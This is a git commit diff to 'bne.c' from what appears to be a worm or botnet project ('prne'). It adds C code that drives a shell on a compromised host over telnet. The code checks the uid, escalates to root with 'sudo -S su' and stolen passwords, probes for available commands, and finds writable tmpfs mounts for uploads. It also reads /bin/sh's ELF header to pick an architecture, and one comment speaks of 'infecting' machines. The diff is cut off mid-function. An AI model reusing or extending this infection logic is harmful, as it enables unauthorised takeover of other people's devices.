aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-20 00:55:13 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-20 00:55:13 +0930
commit48861d2128f7028d25c1d03b0cfd9dc5d56b0f66 (patch)
tree51b417d2cc7c07b50e259dd25d8f877303a832c8
parent66a17c4bf5c38579e460209c2028d3275f366121 (diff)
* Impl bne
* Add prne_pth_reset_timer(), prne_build_str()
-rw-r--r--src/bne.c1293
-rw-r--r--src/pth.c10
-rw-r--r--src/pth.h1
-rw-r--r--src/util_rt.c27
-rw-r--r--src/util_rt.h1
5 files changed, 822 insertions, 510 deletions
diff --git a/src/bne.c b/src/bne.c
index 3908110..0070447 100644
--- a/src/bne.c
+++ b/src/bne.c
@@ -19,6 +19,7 @@ static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m
static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s
static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s
static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
+static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s
#define BNE_CONN_TIMEOUT 5000 // 5s
#define BNE_CONN_ATTEMPT 3
@@ -33,9 +34,6 @@ static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
#define BNE_AVAIL_CMD_DD 0x04
#define BNE_AVAIL_CMD_BASE64 0x08
-#define BNE_CMD_TERMINATOR "PRNE-EOF960ef402-b026-49b2-9434-61aa64cf44f2"
-#define BNE_TERM_CMD "echo -n "BNE_CMD_TERMINATOR"\n"
-
struct prne_bne {
prne_iset_t cred_set;
@@ -61,21 +59,27 @@ typedef unsigned int bne_avail_cmds_t;
typedef struct {
void *ctx;
- ssize_t (*read_f)( // combines stdout and stderr
+ ssize_t (*read_f) ( // combines stdout and stderr
void *ctx,
void *buf,
const size_t len,
pth_event_t ev);
- ssize_t (*write_f)( // loops on the buf to always return len or -1
+ ssize_t (*write_f) ( // loops on the buf to always return len or -1
void *ctx,
const void *buf,
const size_t len,
pth_event_t ev);
+ int (*pollin_f) (void *ctx);
uint8_t buf[2048];
- char line[256];
+ char *upload_dir;
+
+ pth_event_t ev;
prne_iobuf_t ib;
prne_llist_t up_loc; // series of null-terminated string
+ prne_bin_rcb_ctx_t rcb;
bne_avail_cmds_t avail_cmds;
+ char stx_str[37];
+ char eot_str[37];
} bne_sh_ctx_t;
static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) {
@@ -85,16 +89,32 @@ static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) {
prne_llist_clear(&p->up_loc);
}
-static void bne_init_sh_ctx (bne_sh_ctx_t *p) {
+static void bne_init_sh_ctx (bne_sh_ctx_t *p, prne_rnd_t *rnd) {
+ uint8_t uuid[16];
+
prne_memzero(p, sizeof(bne_sh_ctx_t));
prne_init_llist(&p->up_loc);
prne_init_iobuf(&p->ib);
prne_iobuf_setextbuf(&p->ib, p->buf, sizeof(p->buf), 0);
+ prne_init_bin_rcb_ctx(&p->rcb);
+
+ if (!prne_rnd(rnd, uuid, 16)) {
+ memset(uuid, 0xAA, 16);
+ }
+ prne_uuid_tostr(uuid, p->stx_str);
+
+ if (!prne_rnd(rnd, uuid, 16)) {
+ memset(uuid, 0xBB, 16);
+ }
+ prne_uuid_tostr(uuid, p->eot_str);
}
static void bne_free_sh_ctx (bne_sh_ctx_t *p) {
bne_sh_ctx_free_mp(p);
prne_free_llist(&p->up_loc);
+ prne_free(p->upload_dir);
+ pth_event_free(p->ev, FALSE);
+ prne_free_bin_rcb_ctx(&p->rcb);
prne_memzero(p, sizeof(bne_sh_ctx_t));
}
@@ -337,17 +357,6 @@ ERR:
return true;
}
-static void bne_reset_timer (
- pth_event_t *ev,
- const struct timespec *ts)
-{
- pth_event_free(*ev, FALSE);
- *ev = pth_event(
- PTH_EVENT_TIME,
- prne_pth_tstimeout(*ts));
- prne_assert(*ev != NULL);
-}
-
/*******************************************************************************
Telnet Vector Impl
*******************************************************************************/
@@ -374,170 +383,453 @@ static int bne_mp_cmp_f (const void *a, const void *b) {
0;
}
-static bool bne_sh_sync (
- prne_bne_t *ctx,
+typedef struct {
+ void *ctx;
+ void (*line_f)(void *ctx, char *line);
+ size_t (*bin_f)(void *ctx, uint8_t *m, size_t len);
+} bne_sh_parser_t;
+
+static void bne_init_sh_parser (bne_sh_parser_t *p) {
+ prne_memzero(p, sizeof(bne_sh_parser_t));
+}
+
+static void bne_free_sh_parser (bne_sh_parser_t *p) {}
+
+static bool bne_sh_send (
bne_sh_ctx_t *s_ctx,
- pth_event_t ev)
+ const char *cmdline)
{
- size_t len;
+ const size_t len = strlen(cmdline);
ssize_t f_ret;
- char *cterm;
- strcpy(s_ctx->line, BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
+ prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT);
+ f_ret = s_ctx->write_f(s_ctx->ctx, cmdline, len, s_ctx->ev);
+ if (f_ret <= 0 || (size_t)f_ret != len) {
return false;
}
+ return true;
+}
- cterm = NULL;
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+static char *bne_sh_mknexted_cmd (bne_sh_ctx_t *s_ctx, const char *cmd) {
+ const size_t cmd_len = prne_nstrlen(cmd);
+ const size_t entire_len =
+ sizeof("\necho -n \n") - 1 + sizeof(s_ctx->stx_str) - 1 +
+ cmd_len +
+ sizeof("\necho; echo -n \n") - 1 + sizeof(s_ctx->eot_str) - 1;
+ char *entire = prne_alloc_str(entire_len);
+ char *buf = entire;
+
+ if (entire == NULL) {
+ return NULL;
+ }
+
+ memcpy(buf, "\necho -n ", sizeof("\necho -n ") - 1);
+ buf += sizeof("\necho -n ") - 1;
+ memcpy(buf, s_ctx->stx_str, sizeof(s_ctx->stx_str) - 1);
+ buf += sizeof(s_ctx->stx_str) - 1;
+ *buf = '\n';
+ buf += 1;
+ memcpy(buf, cmd, cmd_len);
+ buf += cmd_len;
+ memcpy(buf, "\necho; echo -n ", sizeof("\necho; echo -n ") - 1);
+ buf += sizeof("\necho; echo -n ") - 1;
+ memcpy(buf, s_ctx->eot_str, sizeof(s_ctx->eot_str) - 1);
+ buf += sizeof(s_ctx->eot_str) - 1;
+ *buf = '\n';
+ buf += 1;
+ entire[entire_len] = 0;
+
+ return entire;
+}
+
+static bool bne_sh_sync_stx (bne_sh_ctx_t *s_ctx) {
+ ssize_t f_ret;
+ char *delim;
+
+ while (true) {
+ delim = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ s_ctx->stx_str,
+ sizeof(s_ctx->stx_str) - 1);
+ if (delim == NULL) {
+ prne_iobuf_shift(
+ &s_ctx->ib,
+ -(s_ctx->ib.len /
+ (sizeof(s_ctx->stx_str) - 1) *
+ (sizeof(s_ctx->stx_str) - 1)));
+ }
+ else {
+ prne_iobuf_shift(
+ &s_ctx->ib,
+ -(delim - (char*)s_ctx->ib.m + (sizeof(s_ctx->stx_str) - 1)));
+ break;
+ }
+
+ prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT);
f_ret = s_ctx->read_f(
s_ctx->ctx,
s_ctx->ib.m + s_ctx->ib.len,
s_ctx->ib.avail,
- ev);
+ s_ctx->ev);
if (f_ret <= 0) {
return false;
}
prne_iobuf_shift(&s_ctx->ib, f_ret);
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL);
- if (cterm == NULL) {
- return false;
}
return true;
}
-static int bne_sh_get_uid (
- prne_bne_t *ctx,
+static bool bne_sh_runcmd_line (
bne_sh_ctx_t *s_ctx,
- pth_event_t ev)
+ bne_sh_parser_t *p_ctx,
+ const char *cmd)
{
- size_t len;
+ bool ret = false;
+ char *nested = bne_sh_mknexted_cmd(s_ctx, cmd);
+ char *delim;
ssize_t f_ret;
- char *cterm;
- int ret = 0; // assume uid is 0 if the command fails
-
- strcpy(s_ctx->line, "id -u;"BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- return -1;
+
+ if (nested == NULL || !bne_sh_send(s_ctx, nested)) {
+ goto END;
}
- cterm = NULL;
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_sh_sync_stx(s_ctx)) {
+ goto END;
+ }
+
+ // do parse
+ while (true) {
+ delim = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len);
+ if (delim != NULL) {
+ *delim = 0;
+ if (p_ctx->line_f != NULL) {
+ p_ctx->line_f(p_ctx->ctx, (char*)s_ctx->ib.m);
+ }
+ prne_iobuf_shift(
+ &s_ctx->ib,
+ -(delim - (char*)s_ctx->ib.m + 1));
+ continue;
+ }
+ else {
+ delim = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ s_ctx->eot_str,
+ sizeof(s_ctx->eot_str) - 1);
+ if (delim != NULL) {
+ prne_iobuf_reset(&s_ctx->ib);
+ ret = true;
+ break;
+ }
+ }
+
+ prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT);
f_ret = s_ctx->read_f(
s_ctx->ctx,
s_ctx->ib.m + s_ctx->ib.len,
s_ctx->ib.avail,
- ev);
+ s_ctx->ev);
if (f_ret <= 0) {
- return -1;
+ goto END;
}
prne_iobuf_shift(&s_ctx->ib, f_ret);
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL);
- if (cterm == NULL) {
- return -1;
- }
- else {
- *cterm = 0;
- sscanf((char*)s_ctx->buf, "%d", &ret);
}
+END:
+ prne_free(nested);
return ret;
}
-static bool bne_sh_sudo (
- prne_bne_t *ctx,
+static bool bne_sh_runcmd_bin (
bne_sh_ctx_t *s_ctx,
- pth_event_t ev)
+ bne_sh_parser_t *p_ctx,
+ const char *cmd)
{
- static const char LF = '\n';
- char *colon;
- size_t pw_len;
+ bool ret = false;
+ char *nested = bne_sh_mknexted_cmd(s_ctx, cmd);
+ char *delim;
ssize_t f_ret;
- size_t len;
- char *cterm;
+ size_t consume;
- strcpy(s_ctx->line, "sudo -S su;"BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- return false;
+ if (nested == NULL || !bne_sh_send(s_ctx, nested)) {
+ goto END;
}
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
+ if (!bne_sh_sync_stx(s_ctx)) {
+ goto END;
+ }
+
+ // do parse
+ while (true) {
+ if (p_ctx->bin_f != NULL && s_ctx->ib.len > 0) {
+ consume = p_ctx->bin_f(p_ctx->ctx, s_ctx->ib.m, s_ctx->ib.len);
+ }
+ else {
+ consume = s_ctx->ib.len;
+ }
+
+ delim = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ s_ctx->eot_str,
+ sizeof(s_ctx->eot_str) - 1);
+ if (delim != NULL) {
+ prne_iobuf_reset(&s_ctx->ib);
+ ret = true;
+ break;
+ }
+ else {
+ prne_iobuf_shift(&s_ctx->ib, -consume);
+ }
+
+ prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT);
f_ret = s_ctx->read_f(
s_ctx->ctx,
s_ctx->ib.m + s_ctx->ib.len,
s_ctx->ib.avail,
- ev);
+ s_ctx->ev);
if (f_ret <= 0) {
- return false;
+ goto END;
}
prne_iobuf_shift(&s_ctx->ib, f_ret);
- colon = prne_strnchr((char*)s_ctx->ib.m, ':', s_ctx->ib.len);
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL && colon == NULL);
+ }
- if (colon == NULL) {
-/*
-* UID is not 0, but sudo command is not available.
-*/
- ctx->result.err = EPERM;
- return false;
+END:
+ prne_free(nested);
+ return ret;
+}
+
+static bool bne_sh_sync (bne_sh_ctx_t *s_ctx) {
+ bne_sh_parser_t parser;
+
+ parser.ctx = NULL;
+ parser.line_f = NULL;
+ return bne_sh_runcmd_line(s_ctx, &parser, NULL);
+}
+
+static void bne_sh_int_parse_f (void *ctx, char *line) {
+ int *v = (int*)ctx;
+ if (line[0] != 0) { // ignore empty line
+ sscanf(line, "%d", v);
}
+}
- pw_len = prne_nstrlen(ctx->result.cred.pw);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- if (pw_len > 0) {
- f_ret = s_ctx->write_f(
+static int bne_sh_get_uid (bne_sh_ctx_t *s_ctx) {
+ bne_sh_parser_t parser;
+ int uid = 0;
+
+ parser.ctx = &uid;
+ parser.line_f = bne_sh_int_parse_f;
+
+ if (!bne_sh_runcmd_line(s_ctx, &parser, "id -u")) {
+ return -1;
+ }
+
+ return uid;
+}
+
+static bool bne_sh_sudo (prne_bne_t *ctx, bne_sh_ctx_t *s_ctx) {
+ static const size_t ENTIRE_LEN =
+ sizeof("sudo -S su; echo -n \n") - 1 + sizeof(s_ctx->eot_str) - 1;
+ bool ret = false;
+ ssize_t f_ret;
+ char entire[ENTIRE_LEN + 1], *cmd;
+ char *delim;
+
+ cmd = entire;
+ memcpy(cmd, "sudo -S su; echo -n ", sizeof("sudo -S su; echo -n ") - 1);
+ cmd += sizeof("sudo -S su; echo -n ") - 1;
+ memcpy(cmd, s_ctx->eot_str, sizeof(s_ctx->eot_str) - 1);
+ cmd += sizeof(s_ctx->eot_str) - 1;
+ *cmd = '\n';
+ cmd += 1;
+ *cmd = 0;
+
+ if (!bne_sh_send(s_ctx, entire)) {
+ goto END;
+ }
+
+ while (true) {
+ prne_pth_reset_timer(&s_ctx->ev, &BNE_PROMPT_PAUSE);
+ f_ret = s_ctx->read_f(
s_ctx->ctx,
- ctx->result.cred.pw,
- pw_len,
- ev);
- if (f_ret != (ssize_t)pw_len) {
- return false;
+ s_ctx->ib.m + s_ctx->ib.len,
+ s_ctx->ib.avail,
+ s_ctx->ev);
+ if (f_ret <= 0) {
+ break;
}
+ prne_iobuf_shift(&s_ctx->ib, f_ret);
}
- // hit enter
- f_ret = s_ctx->write_f(s_ctx->ctx, &LF, 1, ev);
- if (f_ret != 1) {
- return false;
+
+ if (pth_event_status(s_ctx->ev) != PTH_STATUS_OCCURRED) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ delim = prne_strnstr(
+ (char*)s_ctx->ib.m,
+ s_ctx->ib.len,
+ s_ctx->eot_str,
+ sizeof(s_ctx->eot_str) - 1);
+ if (delim != NULL) {
+ // UID is not 0, but sudo command is not available
+ prne_iobuf_reset(&s_ctx->ib);
+ ctx->result.err = EPERM;
+ goto END;
+ }
+
+ if (!(bne_sh_send(s_ctx, ctx->result.cred.pw) &&
+ bne_sh_send(s_ctx, "\n")))
+ {
+ ctx->result.err = errno;
+ goto END;
}
// check the uid again
- if (!bne_sh_sync(ctx, s_ctx, ev) || bne_sh_get_uid(ctx, s_ctx, ev) != 0) {
- // Failed to sudo
- return false;
+ ret = bne_sh_sync(s_ctx) && bne_sh_get_uid(s_ctx) == 0;
+
+END:
+ return ret;
+}
+
+static void bne_sh_availcmd_parse_f (void *ctx, char *line) {
+ bne_sh_ctx_t *s_ctx = (bne_sh_ctx_t*)ctx;
+ int ec;
+
+ if (sscanf(line, "echo: %d", &ec) == 1 && ec < 127) {
+ s_ctx->avail_cmds |= BNE_AVAIL_CMD_ECHO;
+ }
+ else if (sscanf(line, "cat: %d", &ec) == 1 && ec < 127) {
+ s_ctx->avail_cmds |= BNE_AVAIL_CMD_CAT;
}
+ else if (sscanf(line, "dd: %d", &ec) == 1 && ec < 127) {
+ s_ctx->avail_cmds |= BNE_AVAIL_CMD_DD;
+ }
+ else if (sscanf(line, "base64: %d", &ec) == 1 && ec < 127) {
+ s_ctx->avail_cmds |= BNE_AVAIL_CMD_BASE64;
+ }
+}
- return true;
+typedef struct {
+ bne_sh_ctx_t *s_ctx;
+ int err;
+} bne_mp_parse_ctx_t;
+
+static void bne_sh_mounts_parse_f (void *ctx_p, char *line) {
+ bne_mp_parse_ctx_t *ctx = (bne_mp_parse_ctx_t*)ctx_p;
+ char val[256];
+ char *mp;
+ size_t len;
+
+ // fs
+ if (sscanf(line, "%*s %*s %255s %*s %*d %*d", val) != 1) {
+ return;
+ }
+ if (!(strcmp(val, "devtmpfs") == 0 || strcmp(val, "tmpfs") == 0)) {
+ return;
+ }
+ // options
+ if (sscanf(line, "%*s %*s %*s %255s %*d %*d", val) != 1) {
+ return;
+ }
+ if (strstr(val, "rw") != val) {
+ return;
+ }
+ // mount point
+ if (sscanf(line, "%*s %255s %*s %*s %*d %*d", val) != 1) {
+ return;
+ }
+
+ len = strlen(val);
+ mp = prne_alloc_str(len);
+ if (mp == NULL) {
+ ctx->err = errno;
+ return;
+ }
+ memcpy(mp, val, len + 1);
+ if (prne_llist_append(
+ &ctx->s_ctx->up_loc,
+ (prne_llist_element_t)mp) == NULL)
+ {
+ ctx->err = errno;
+ prne_free(mp);
+ return;
+ }
+}
+
+typedef struct {
+ int err;
+ uint16_t e_machine;
+ uint8_t e_data;
+} bne_sh_elf_parse_ctx_t;
+
+static size_t bne_sh_elf_parse_f (
+ void *ctx_p,
+ uint8_t *m,
+ size_t len)
+{
+ bne_sh_elf_parse_ctx_t *ctx = (bne_sh_elf_parse_ctx_t*)ctx_p;
+
+ if (ctx->err != 0) {
+ return len;
+ }
+ if (ctx->e_data == 0) {
+ const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)m;
+
+ if (len < sizeof(Elf32_Ehdr)) {
+ return 0;
+ }
+
+ if (!(m[EI_MAG0] == ELFMAG0 &&
+ m[EI_MAG1] == ELFMAG1 &&
+ m[EI_MAG2] == ELFMAG2 &&
+ m[EI_MAG3] == ELFMAG3) ||
+ (m[EI_CLASS] != ELFCLASS32 && m[EI_CLASS] != ELFCLASS64))
+ {
+ ctx->err = ENOEXEC;
+ return len;
+ }
+
+ ctx->e_data = m[EI_DATA];
+ switch (ctx->e_data) {
+ case ELFDATA2LSB: ctx->e_machine = prne_le16toh(hdr->e_machine); break;
+ case ELFDATA2MSB: ctx->e_machine = prne_be16toh(hdr->e_machine); break;
+ default:
+ ctx->err = ENOEXEC;
+ return len;
+ }
+ }
+
+ return len;
+}
+
+typedef struct {
+ bool v7;
+ bool vfp;
+ bool thumb;
+} bne_sh_cpuinfo_parse_ctx_t;
+
+static void bne_sh_cpuinfo_parse_f (void *ctx_p, char *line) {
+ bne_sh_cpuinfo_parse_ctx_t *ctx = (bne_sh_cpuinfo_parse_ctx_t*)ctx_p;
+
+ prne_transstr(line, tolower);
+
+ if ((strstr(line, "processor") == line ||
+ strstr(line, "model name") == line) &&
+ strstr(line, "v7") != NULL)
+ {
+ ctx->v7 = true;
+ }
+ else if (strstr(line, "features") == line) {
+ if (strstr(line, "vfp") != NULL) {
+ ctx->vfp = true;
+ }
+ if (strstr(line, "thumb") != NULL) {
+ ctx->thumb = true;
+ }
+ }
}
/*
@@ -550,6 +842,7 @@ static bool bne_sh_sudo (
* - cat
* - dd
* - base64
+* - touch
* (if echo and cat not available, give up)
* 3. Find a suitable mount point for upload
* - read /proc/mounts
@@ -567,95 +860,54 @@ static bool bne_sh_setup (
bne_sh_ctx_t *s_ctx)
{
bool ret = false;
- char *cterm, *lf, *mp;
+ char *mp;
pth_event_t ev = NULL;
- size_t len;
- ssize_t f_ret;
int uid;
bne_mp_t *mp_arr = NULL;
size_t mp_cnt = 0;
prne_llist_entry_t *m_ent;
- uint8_t e_data = 0;
- uint16_t e_machine = 0;
+ bne_sh_parser_t parser;
bne_sh_ctx_free_mp(s_ctx);
+ bne_init_sh_parser(&parser);
// TRY
// Skip banner
- if (!bne_sh_sync(ctx, s_ctx, ev)) {
+ if (!bne_sh_sync(s_ctx)) {
+ ctx->result.err = errno;
goto END;
}
// Check uid
- uid = bne_sh_get_uid(ctx, s_ctx, ev);
+ uid = bne_sh_get_uid(s_ctx);
if (uid < 0) {
+ ctx->result.err = errno;
goto END;
}
if (uid != 0) {
// Not root. Try escalating the shell
- if (!bne_sh_sudo(ctx, s_ctx, ev)) {
+ if (!bne_sh_sudo(ctx, s_ctx)) {
+ // sudo failed. no point infecting unprivileged machine
goto END;
}
}
- strcpy(
- s_ctx->line,
- "echo 2> /dev/null > /dev/null; echo $?;"
- "echo | cat 2> /dev/null > /dev/null; echo $?;"
- "echo | dd 2> /dev/null > /dev/null; echo $?;"
- "echo | base64 2> /dev/null > /dev/null; echo $?;"
- BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- goto END;
- }
-
- cterm = NULL;
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->read_f(
- s_ctx->ctx,
- s_ctx->ib.m + s_ctx->ib.len,
- s_ctx->ib.avail,
- ev);
- if (f_ret <= 0) {
- goto END;
- }
- prne_iobuf_shift(&s_ctx->ib, f_ret);
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL);
- if (cterm == NULL) {
+ // available commands
+ bne_free_sh_parser(&parser);
+ bne_init_sh_parser(&parser);
+ parser.ctx = s_ctx;
+ parser.line_f = bne_sh_availcmd_parse_f;
+ if (!bne_sh_runcmd_line(
+ s_ctx,
+ &parser,
+ "echo 2> /dev/null > /dev/null; echo echo: $?\n"
+ "echo | cat 2> /dev/null > /dev/null; echo cat: $?\n"
+ "echo | dd 2> /dev/null > /dev/null; echo dd: $?\n"
+ "echo | base64 2> /dev/null > /dev/null; echo base64: $?\n"))
+ {
+ ctx->result.err = errno;
goto END;
}
- else {
- int r_echo, r_cat, r_dd, r_base64;
-
- *cterm = 0;
- if (sscanf(
- (char*)s_ctx->buf,
- "%d %d %d %d",
- &r_echo,
- &r_cat,
- &r_dd,
- &r_base64) != 4)
- {
- goto END;
- }
-
- s_ctx->avail_cmds =
- (r_echo < 127 ? BNE_AVAIL_CMD_ECHO : 0) |
- (r_cat < 127 ? BNE_AVAIL_CMD_CAT : 0) |
- (r_dd < 127 ? BNE_AVAIL_CMD_DD : 0) |
- (r_base64 < 127 ? BNE_AVAIL_CMD_BASE64 : 0);
- }
-
if (!((s_ctx->avail_cmds & BNE_AVAIL_CMD_ECHO) &&
(s_ctx->avail_cmds & BNE_AVAIL_CMD_CAT)))
{
@@ -663,102 +915,32 @@ static bool bne_sh_setup (
goto END;
}
- // read /proc/mounts
- strcpy(
- s_ctx->line,
- "cat /proc/mounts;"BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- goto END;
- }
+ {
+ // read /proc/mounts
+ bne_mp_parse_ctx_t mpc;
- cterm = NULL;
- prne_iobuf_reset(&s_ctx->ib);
- do {
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->read_f(
- s_ctx->ctx,
- s_ctx->ib.m + s_ctx->ib.len,
- s_ctx->ib.avail,
- ev);
- if (f_ret <= 0) {
+ prne_memzero(&mpc, sizeof(bne_mp_parse_ctx_t));
+ bne_free_sh_parser(&parser);
+ bne_init_sh_parser(&parser);
+ parser.ctx = &mpc;
+ parser.line_f = bne_sh_mounts_parse_f;
+ mpc.s_ctx = s_ctx;
+
+ if (!bne_sh_runcmd_line(s_ctx, &parser, "cat /proc/mounts")) {
+ ctx->result.err = errno;
goto END;
}
- prne_iobuf_shift(&s_ctx->ib, f_ret);
-
- while (true) {
- lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len);
- if (lf == NULL) {
- break;
- }
- *lf = 0;
-
- // fs
- if (sscanf(
- (char*)s_ctx->ib.m,
- "%*s %*s %255s %*s %*d %*d",
- s_ctx->line) != 1)
- {
- goto ENDL;
- }
- if (!(strcmp(s_ctx->line, "devtmpfs") == 0 ||
- strcmp(s_ctx->line, "tmpfs") == 0))
- {
- goto ENDL;
- }
- // options
- if (sscanf(
- (char*)s_ctx->ib.m,
- "%*s %*s %*s %255s %*d %*d",
- s_ctx->line) != 1)
- {
- goto ENDL;
- }
- if (strstr(s_ctx->line, "rw") != s_ctx->line) {
- goto ENDL;
- }
- // mount point
- if (sscanf(
- (char*)s_ctx->ib.m,
- "%*s %255s %*s %*s %*d %*d",
- s_ctx->line) != 1)
- {
- goto ENDL;
- }
- len = strlen(s_ctx->line);
- mp = prne_alloc_str(len);
- if (mp == NULL) {
- ctx->result.err = errno;
- goto END;
- }
- memcpy(mp, s_ctx->line, len + 1);
- if (prne_llist_append(
- &s_ctx->up_loc,
- (prne_llist_element_t)mp) == NULL)
- {
- ctx->result.err = errno;
- prne_free(mp);
- goto END;
- }
-ENDL:
- prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1));
+ if (mpc.err != 0) {
+ ctx->result.err = mpc.err;
+ goto END;
}
-
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
- s_ctx->ib.len,
- BNE_CMD_TERMINATOR,
- strlen(BNE_CMD_TERMINATOR));
- } while (s_ctx->ib.avail > 0 && cterm == NULL);
+ }
if (s_ctx->up_loc.size == 0) {
// no suitable mount point found
ctx->result.err = ENOSPC;
goto END;
}
-
// sort candidate mount points
mp_cnt = s_ctx->up_loc.size;
mp_arr = (bne_mp_t*)prne_malloc(sizeof(bne_mp_t), mp_cnt);
@@ -805,182 +987,87 @@ ENDL:
mp_arr = NULL;
mp_cnt = 0;
- // determine arch
- strcpy(s_ctx->line, "cat /bin/sh;"BNE_TERM_CMD);
- len = strlen(s_ctx->line);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev);
- if (f_ret != (ssize_t)len) {
- goto END;
- }
+ {
+ // determine arch
+ bne_sh_elf_parse_ctx_t ep;
+ const char *cmd;
- while (true) {
- prne_iobuf_reset(&s_ctx->ib);
- bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT);
- f_ret = s_ctx->read_f(
- s_ctx->ctx,
- s_ctx->ib.m + s_ctx->ib.len,
- s_ctx->ib.avail,
- ev);
- if (f_ret <= 0) {
+ prne_memzero(&ep, sizeof(bne_sh_elf_parse_ctx_t));
+ bne_free_sh_parser(&parser);
+ bne_init_sh_parser(&parser);
+ parser.ctx = &ep;
+ parser.bin_f = bne_sh_elf_parse_f;
+
+ if (s_ctx->avail_cmds & BNE_AVAIL_CMD_DD) {
+ cmd = "dd if=/bin/sh bs=52 count=1 2> /dev/null";
+ }
+ else {
+ cmd = "cat /bin/sh";
+ }
+ if (!bne_sh_runcmd_bin(s_ctx, &parser, cmd)) {
+ ctx->result.err = errno;
goto END;
}
- prne_iobuf_shift(&s_ctx->ib, f_ret);
-
- if (e_data == 0 && s_ctx->ib.len >= EI_NIDENT) {
- if (!(s_ctx->ib.m[EI_MAG0] == ELFMAG0 &&
- s_ctx->ib.m[EI_MAG1] == ELFMAG1 &&
- s_ctx->ib.m[EI_MAG2] == ELFMAG2 &&
- s_ctx->ib.m[EI_MAG3] == ELFMAG3))
- {
- ctx->result.err = ENOEXEC;
- goto END;
- }
- if (s_ctx->ib.m[EI_CLASS] == ELFCLASS32) {
- const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)s_ctx->ib.m;
-
- if (s_ctx->ib.len < sizeof(Elf32_Ehdr)) {
- goto NEXT;
- }
- e_machine = hdr->e_machine;
- }
- else if (s_ctx->ib.m[EI_CLASS] == ELFCLASS64) {
- const Elf64_Ehdr *hdr = (const Elf64_Ehdr*)s_ctx->ib.m;
-
- if (s_ctx->ib.len < sizeof(Elf64_Ehdr)) {
- goto NEXT;
- }
- e_machine = hdr->e_machine;
- }
- else {
- ctx->result.err = ENOEXEC;
- goto END;
- }
-
- e_data = s_ctx->ib.m[EI_DATA];
- switch (e_data) {
- case ELFDATA2LSB: e_machine = prne_le16toh(e_machine); break;
- case ELFDATA2MSB: e_machine = prne_be16toh(e_machine); break;
- default:
- ctx->result.err = ENOEXEC;
- goto END;
- }
+ if (ep.e_data == 0) {
+ ctx->result.err = ENOEXEC;
+ goto END;
}
-NEXT:
- cterm = prne_strnstr(
- (char*)s_ctx->ib.m,
